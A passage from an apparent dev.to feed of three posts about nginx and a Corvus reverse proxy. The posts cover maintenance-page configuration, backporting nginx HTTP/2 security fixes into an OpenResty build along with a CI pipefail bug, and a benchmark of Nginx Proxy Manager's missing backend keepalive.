&lt;p&gt;&lt;strong&gt;Don't let it be cached.&lt;/strong&gt; Send &lt;code&gt;Cache-Control: no-store&lt;/code&gt; with the maintenance response, or a CDN&lt;br&gt;
or browser may keep showing it after you're back up.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep what still works reachable.&lt;/strong&gt; Maintenance on the web app doesn't have to take down &lt;code&gt;/api&lt;/code&gt;,&lt;br&gt;
webhooks or your health checks. Serve the page on &lt;code&gt;/&lt;/code&gt; and keep forwarding the paths that are fine.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let yourself in.&lt;/strong&gt; It's convenient if your own IP (or a header) still reaches the real backend so&lt;br&gt;
you can test before you switch the page off.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep security on.&lt;/strong&gt; The page answers for the whole domain, so TLS, rate limits and whatever&lt;br&gt;
filtering you normally apply should still run in front of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Plain nginx
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;listen&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;server_name&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;# ... certificates ...
&lt;/span&gt;
    &lt;span class="c1"&gt;# keep the API and health checks up during maintenance
&lt;/span&gt;    &lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;proxy_pass&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//app_backend; }&lt;/span&gt;

    &lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;# let yourself in to test
&lt;/span&gt;        &lt;span class="na"&gt;if ($remote_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;203.0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;113.10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;proxy_pass&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//app_backend; }&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;error_page&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt; &lt;span class="nd"&gt;@maintenance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;location&lt;/span&gt; &lt;span class="nd"&gt;@maintenance&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;maintenance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;add_header&lt;/span&gt; &lt;span class="nc"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Control&lt;/span&gt; &lt;span class="s2"&gt;"no-store"&lt;/span&gt; &lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;add_header&lt;/span&gt; &lt;span class="nc"&gt;Retry&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;After&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt; &lt;span class="n"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="na"&gt;try_files /index.html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two traps: &lt;code&gt;add_header&lt;/code&gt; only applies to the response codes listed in its docs unless you add &lt;code&gt;always&lt;/code&gt;&lt;br&gt;
(503 isn't one of them), and &lt;code&gt;if&lt;/code&gt; inside &lt;code&gt;location&lt;/code&gt; is limited — fine for &lt;code&gt;proxy_pass&lt;/code&gt; or &lt;code&gt;return&lt;/code&gt;,&lt;br&gt;
don't put much else in it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nginx Proxy Manager
&lt;/h2&gt;

&lt;p&gt;NPM always proxies to a forward host, so the usual setup is the extra container. Without it, you can&lt;br&gt;
put a custom &lt;code&gt;location /&lt;/code&gt; in the proxy host's &lt;strong&gt;Advanced&lt;/strong&gt; tab (NPM then skips its own) and use the&lt;br&gt;
nginx snippet above — but the HTML has to exist inside the NPM container (mount a folder into&lt;br&gt;
&lt;code&gt;/data/&lt;/code&gt; and point &lt;code&gt;root&lt;/code&gt; there), and you edit it by hand.&lt;/p&gt;

&lt;h2&gt;
  
  
  Corvus
&lt;/h2&gt;

&lt;p&gt;This is the setup that pushed me to build it into &lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;&lt;br&gt;
(an open-source reverse proxy with a WAF, in one container): since 1.9 a proxy host can &lt;strong&gt;serve a&lt;br&gt;
page&lt;/strong&gt; instead of forwarding.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pick &lt;strong&gt;Parked&lt;/strong&gt;, &lt;strong&gt;Coming soon&lt;/strong&gt; or &lt;strong&gt;Maintenance&lt;/strong&gt;, or paste your own HTML.&lt;/li&gt;
&lt;li&gt;Choose the status: 200, 404, 410 or 503 (maintenance defaults to 503); anything but 200 is sent
with &lt;code&gt;Cache-Control: no-store&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;TLS, security rules, rate limits and Basic auth keep applying; &lt;strong&gt;custom locations keep
forwarding&lt;/strong&gt;, so &lt;code&gt;/api&lt;/code&gt; stays up while &lt;code&gt;/&lt;/code&gt; shows the page.&lt;/li&gt;
&lt;li&gt;Switching back to "forward to a service" is one click; the page is kept for next time.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F42742z85pzbdb1er65jn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F42742z85pzbdb1er65jn.png" alt="Serve a page in Corvus" width="608" height="900"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(It was suggested by a user in our GitHub Discussions, like most of what went into the last three&lt;br&gt;
releases.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] 503 + &lt;code&gt;Retry-After&lt;/code&gt; for maintenance, 410/404 for domains that will never serve anything&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;Cache-Control: no-store&lt;/code&gt; on the maintenance response (&lt;code&gt;always&lt;/code&gt; in nginx)&lt;/li&gt;
&lt;li&gt;[ ] &lt;code&gt;/api&lt;/code&gt;, webhooks and health checks still forwarded if they work&lt;/li&gt;
&lt;li&gt;[ ] a way for you to reach the real backend while the page is up&lt;/li&gt;
&lt;li&gt;[ ] TLS and your usual protections still in front of the page&lt;/li&gt;
&lt;li&gt;[ ] no extra container to keep updated&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What do you use for maintenance windows today? Curious whether people bother with 503 at all.&lt;/p&gt;

</description>
      <category>nginx</category>
      <category>selfhosted</category>
      <category>docker</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The nginx HTTP/2 CVEs are out, OpenResty isn't patched yet: how we shipped the fix in a day (and the `| tee` bug that hid our updates)</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Thu, 19 Nov 2026 06:22:33 +0000</pubDate>
      <link>https://dev.to/moonjikwang/the-nginx-http2-cves-are-out-openresty-isnt-patched-yet-how-we-shipped-the-fix-in-a-day-and-37o8</link>
      <guid>https://dev.to/moonjikwang/the-nginx-http2-cves-are-out-openresty-isnt-patched-yet-how-we-shipped-the-fix-in-a-day-and-37o8</guid>
      <description>&lt;p&gt;On November 18 nginx published a batch of security fixes, headed by two HTTP/2 bugs rated CVSS 9.2:&lt;br&gt;
memory corruption in HTTP/2 flow control (CVE-2026-123007) and a use-after-free when HTTP/2 is used&lt;br&gt;
with proxying (CVE-2026-123633). &lt;a href="https://www.wiz.io/blog/nginx-http2-rce-vulnerabilities" rel="noopener noreferrer"&gt;Wiz showed unauthenticated remote code execution&lt;/a&gt;&lt;br&gt;
against a default HTTPS + HTTP/2 setup. Everything up to nginx 1.31.8 is affected; 1.31.9 and 1.30.7 are fixed.&lt;/p&gt;

&lt;p&gt;If you build on &lt;strong&gt;OpenResty&lt;/strong&gt;, there's a catch: the current release, 1.31.8.1, bundles nginx 1.31.8,&lt;br&gt;
and there is no patched OpenResty release yet. That's our situation with&lt;br&gt;
&lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;Corvus&lt;/a&gt;, an open-source gateway built on OpenResty. This is&lt;br&gt;
what we did, so you can do the same for your own OpenResty builds.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Check what actually applies to you
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://nginx.org/en/security_advisories.html" rel="noopener noreferrer"&gt;advisory list&lt;/a&gt; for that day has more than ten&lt;br&gt;
entries. Not all of them matter for every build, so we checked each one against our &lt;code&gt;./configure&lt;/code&gt;&lt;br&gt;
flags and templates:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Advisory&lt;/th&gt;
&lt;th&gt;Our build&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HTTP/2 flow control, HTTP/2 use-after-free&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;affected&lt;/strong&gt;: &lt;code&gt;http2 on&lt;/code&gt; on HTTPS hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;resolver use-after-free&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;affected&lt;/strong&gt;: upstream names are resolved at request time (&lt;code&gt;resolve&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;request body over TLS 1.3 (infinite loop)&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;affected&lt;/strong&gt;: HTTPS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PROXY protocol v2&lt;/td&gt;
&lt;td&gt;affected when PROXY protocol listeners are enabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stream SSL / &lt;code&gt;ssl_preread&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;compiled in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mail proxy, HTTP/3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;not affected&lt;/strong&gt;: not compiled in (&lt;code&gt;--without-mail_*&lt;/code&gt;, no QUIC)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Small reminder that compiling out what you don't use (mail, HTTP/3, SSI, …) is cheap insurance: two&lt;br&gt;
of the "major" entries simply didn't apply.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Take the whole upstream diff, not hand-picked commits
&lt;/h2&gt;

&lt;p&gt;nginx 1.31.9 is 40 commits on top of 1.31.8, with the security fixes spread among them. Cherry-picking&lt;br&gt;
"just the CVE commits" risks missing a prerequisite. What nginx tested and shipped as 1.31.9 is the&lt;br&gt;
whole diff, so we took that, limited to the source tree:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/nginx/nginx &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; nginx
git diff release-1.31.8 release-1.31.9 -- src/ &lt;span class="s1"&gt;':!src/core/nginx.h'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; nginx-1.31.9-security.patch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;nginx.h&lt;/code&gt; is excluded on purpose: it only bumps the version, and OpenResty patches that file for its&lt;br&gt;
own version string.&lt;/p&gt;

&lt;p&gt;Then check it against the exact tarball you build from (same SHA-256 you already pin):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;tar xzf openresty-1.31.8.1.tar.gz
&lt;span class="nb"&gt;cd&lt;/span&gt; openresty-1.31.8.1/bundle/nginx-1.31.8
patch -p1 --dry-run &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; nginx-1.31.9-security.patch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All 34 files applied with line offsets only: no fuzz, no rejects.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Make the build fail loudly instead of silently
&lt;/h2&gt;

&lt;p&gt;In the build script, right after unpacking OpenResty:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;patch -d bundle/nginx-1.31.8 -p1 --forward --no-backup-if-mismatch \
  &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; /patches/nginx-1.31.9-security.patch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two properties we wanted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;It must apply or the build stops.&lt;/strong&gt; &lt;code&gt;set -e&lt;/code&gt; plus &lt;code&gt;patch&lt;/code&gt; returning non-zero on any reject.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It must not outlive its purpose.&lt;/strong&gt; The path contains &lt;code&gt;nginx-1.31.8&lt;/code&gt;. When we move to an OpenResty
release on a newer nginx, the directory no longer exists and the build fails, so nobody can bump
the version and forget the patch.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The patch file is committed to the repository so anyone can review exactly what changed, and&lt;br&gt;
our release images are signed with build provenance, so users can verify they run what the&lt;br&gt;
repository says.&lt;/p&gt;

&lt;p&gt;Then the usual gate: our CI builds the image and runs the full integration suite (~300 checks against&lt;br&gt;
a running gateway: proxying, TLS, rules, bans, the waiting room) before anything can merge. From advisory to a&lt;br&gt;
signed release: about a day.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you can't rebuild today&lt;/strong&gt;, turn HTTP/2 off on the affected servers (&lt;code&gt;http2 off;&lt;/code&gt;, or remove&lt;br&gt;
&lt;code&gt;http2&lt;/code&gt; from &lt;code&gt;listen&lt;/code&gt;). It avoids the two HTTP/2 issues at the cost of a little latency.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. The bug that hid our update checks
&lt;/h2&gt;

&lt;p&gt;While doing this we noticed something embarrassing. We have a scheduled CI job that compares the&lt;br&gt;
versions pinned in our build script (OpenResty, OpenSSL, PCRE2, zlib) with the newest upstream&lt;br&gt;
releases and opens an issue when one is out of date. Dependabot doesn't track source tarballs, so this&lt;br&gt;
job is the only thing watching them.&lt;/p&gt;

&lt;p&gt;It turned out zlib 1.4, which fixes several memory-safety bugs, had been out for two weeks, and no&lt;br&gt;
issue had ever been opened. The job looked like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;set&lt;/span&gt; +e
sh check-upstream.sh &lt;span class="o"&gt;|&lt;/span&gt; tee upstream.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"stale=$?"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;check-upstream.sh&lt;/code&gt; exits 1 when something is stale. But &lt;code&gt;$?&lt;/code&gt; after a pipeline is the status of the&lt;br&gt;
&lt;strong&gt;last&lt;/strong&gt; command, &lt;code&gt;tee&lt;/code&gt;, which always succeeds. GitHub Actions' default bash shell doesn't set&lt;br&gt;
&lt;code&gt;pipefail&lt;/code&gt;. So &lt;code&gt;stale&lt;/code&gt; was always 0, the "open an issue" step was always skipped, and the job was&lt;br&gt;
green every week while doing nothing.&lt;/p&gt;

&lt;p&gt;The fix is boring:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sh check-upstream.sh &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; upstream.txt
&lt;span class="nv"&gt;rc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
cat upstream.txt
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"stale=$rc"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;set -o pipefail&lt;/code&gt; or &lt;code&gt;${PIPESTATUS[0]}&lt;/code&gt; work too.) The first manual run opened the zlib issue&lt;br&gt;
immediately; we shipped zlib 1.4 the same day. We also moved the check from weekly to daily, since&lt;br&gt;
"a patched OpenResty is out" is exactly the kind of thing you want to know the next morning, and the&lt;br&gt;
issue it opens now reminds us to delete the temporary nginx patch.&lt;/p&gt;

&lt;p&gt;If you have a "monitoring" job that has never once alerted, it's worth checking whether it can.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Check advisories against your actual build flags and configs; compiled-out modules are free wins.&lt;/li&gt;
&lt;li&gt;When your distribution lags, the upstream release diff is a safer unit than hand-picked commits.&lt;/li&gt;
&lt;li&gt;Make temporary patches fail the build when they stop applying, and tie them to the version they fix.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cmd | tee file; echo $?&lt;/code&gt; reports &lt;code&gt;tee&lt;/code&gt;. Test your alerting by forcing the alert once.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Corvus is an open-source (Apache-2.0) reverse proxy with a web console, WAF rules, automatic bans and&lt;br&gt;
a waiting room, in one container. The build script and the patch are in the&lt;br&gt;
&lt;a href="https://github.com/corvus-gateway/corvus" rel="noopener noreferrer"&gt;repository&lt;/a&gt; (&lt;code&gt;deploy/openresty/&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nginx</category>
      <category>security</category>
      <category>openresty</category>
      <category>devops</category>
    </item>
    <item>
      <title>Nginx Proxy Manager opens a new backend connection for every request. Here's what that costs (and a 10-line fix)</title>
      <dc:creator>Jikwang Moon</dc:creator>
      <pubDate>Mon, 16 Nov 2026 13:04:15 +0000</pubDate>
      <link>https://dev.to/moonjikwang/nginx-proxy-manager-opens-a-new-backend-connection-for-every-request-heres-what-that-costs-and-a-3jab</link>
      <guid>https://dev.to/moonjikwang/nginx-proxy-manager-opens-a-new-backend-connection-for-every-request-heres-what-that-costs-and-a-3jab</guid>
      <description>&lt;p&gt;I build an open-source gateway on top of OpenResty, and the first version of it was embarrassingly&lt;br&gt;
slow: &lt;strong&gt;18 % of plain nginx's throughput&lt;/strong&gt; on the same hardware. The biggest single fix turned out&lt;br&gt;
to be one that many reverse proxies, including Nginx Proxy Manager (NPM), still don't apply:&lt;br&gt;
&lt;strong&gt;reusing connections to the backend.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This post shows the benchmark, explains the cause, and gives you a fix you can apply to NPM today&lt;br&gt;
without switching anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Everything runs on one GitHub-hosted &lt;code&gt;ubuntu-24.04&lt;/code&gt; runner (4 vCPU AMD EPYC), pinned with&lt;br&gt;
&lt;code&gt;taskset&lt;/code&gt; / &lt;code&gt;--cpuset-cpus&lt;/code&gt; so the proxies can't steal CPU from the load generator:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CPU&lt;/th&gt;
&lt;th&gt;What runs there&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://github.com/wg/wrk" rel="noopener noreferrer"&gt;wrk&lt;/a&gt;, 64 keep-alive client connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;the backend: &lt;code&gt;nginx:1.28-alpine&lt;/code&gt; returning &lt;code&gt;200 ok&lt;/code&gt; from memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2-3&lt;/td&gt;
&lt;td&gt;the proxy under test (&lt;strong&gt;2 vCPU&lt;/strong&gt;, 2 worker processes)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each scenario gets a 5 s warm-up and a 20 s measured run of &lt;code&gt;GET /&lt;/code&gt; with a 3-byte response. Tiny&lt;br&gt;
responses make this the worst case for a proxy: almost all the time goes into per-request overhead,&lt;br&gt;
which is exactly what we want to compare.&lt;/p&gt;

&lt;p&gt;One fairness note: NPM's &lt;code&gt;worker_processes auto&lt;/code&gt; counts the &lt;strong&gt;machine's&lt;/strong&gt; CPUs, not the container's&lt;br&gt;
cpuset, so out of the box it started 8 workers on 2 CPUs. I set it to 2 like the others; otherwise&lt;br&gt;
NPM would look worse than it is.&lt;/p&gt;
&lt;h2&gt;
  
  
  The results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Proxy&lt;/th&gt;
&lt;th&gt;req/s&lt;/th&gt;
&lt;th&gt;p50&lt;/th&gt;
&lt;th&gt;p99&lt;/th&gt;
&lt;th&gt;Memory&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;nginx 1.28, &lt;code&gt;upstream&lt;/code&gt; with &lt;code&gt;keepalive&lt;/code&gt; (baseline)&lt;/td&gt;
&lt;td&gt;107,688&lt;/td&gt;
&lt;td&gt;0.58 ms&lt;/td&gt;
&lt;td&gt;1.04 ms&lt;/td&gt;
&lt;td&gt;18 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corvus 1.5, default proxy host&lt;/td&gt;
&lt;td&gt;79,370&lt;/td&gt;
&lt;td&gt;0.76 ms&lt;/td&gt;
&lt;td&gt;1.98 ms&lt;/td&gt;
&lt;td&gt;77 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corvus 1.5, 30 WAF rules + 1,000-CIDR list + exploit blocking + rate limit&lt;/td&gt;
&lt;td&gt;55,304&lt;/td&gt;
&lt;td&gt;1.09 ms&lt;/td&gt;
&lt;td&gt;2.93 ms&lt;/td&gt;
&lt;td&gt;81 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx Proxy Manager 2.17, default proxy host&lt;/td&gt;
&lt;td&gt;14,364&lt;/td&gt;
&lt;td&gt;2.53 ms&lt;/td&gt;
&lt;td&gt;93.82 ms&lt;/td&gt;
&lt;td&gt;132 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx Proxy Manager 2.17, "Block Common Exploits" on&lt;/td&gt;
&lt;td&gt;14,384&lt;/td&gt;
&lt;td&gt;2.41 ms&lt;/td&gt;
&lt;td&gt;83.40 ms&lt;/td&gt;
&lt;td&gt;134 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;NPM reaches about &lt;strong&gt;13 % of plain nginx&lt;/strong&gt;, and its p99 is almost 100 ms. "Block Common Exploits"&lt;br&gt;
makes no measurable difference; the cost is elsewhere.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why: &lt;code&gt;proxy_pass&lt;/code&gt; to a variable
&lt;/h2&gt;

&lt;p&gt;NPM generates one &lt;code&gt;server&lt;/code&gt; block per proxy host. The interesting part is in its shared&lt;br&gt;
&lt;code&gt;proxy.conf&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="n"&gt;set&lt;/span&gt; $&lt;span class="n"&gt;forward_scheme&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;set&lt;/span&gt; $&lt;span class="n"&gt;server&lt;/span&gt;         &lt;span class="s2"&gt;"10.0.0.21"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;set&lt;/span&gt; $&lt;span class="n"&gt;port&lt;/span&gt;           &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;proxy_pass&lt;/span&gt; $&lt;span class="n"&gt;forward_scheme&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//$server:$port$request_uri;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;proxy_pass&lt;/code&gt; points at variables instead of an &lt;code&gt;upstream&lt;/code&gt; block, nginx has nowhere to keep idle&lt;br&gt;
connections. Every request:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;opens a new TCP connection to the backend (SYN, SYN-ACK, ACK),&lt;/li&gt;
&lt;li&gt;sends one request and reads the response,&lt;/li&gt;
&lt;li&gt;closes the connection, which then sits in &lt;code&gt;TIME_WAIT&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On a 2-vCPU box that's tens of thousands of connection setups per second, all competing with the&lt;br&gt;
actual proxying. The throughput doesn't just drop, it &lt;strong&gt;stalls in bursts&lt;/strong&gt;: wrk's per-second&lt;br&gt;
rate swung widely (a standard deviation of 12.5k around a mean of 14.4k, peaks near 30k), and the&lt;br&gt;
p90 and p99 latencies (45 ms and 94 ms) come from those stalls.&lt;/p&gt;

&lt;p&gt;With an &lt;code&gt;upstream&lt;/code&gt; block and &lt;code&gt;keepalive&lt;/code&gt;, nginx keeps a pool of idle connections per worker and&lt;br&gt;
reuses them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="n"&gt;upstream&lt;/span&gt; &lt;span class="n"&gt;app01&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
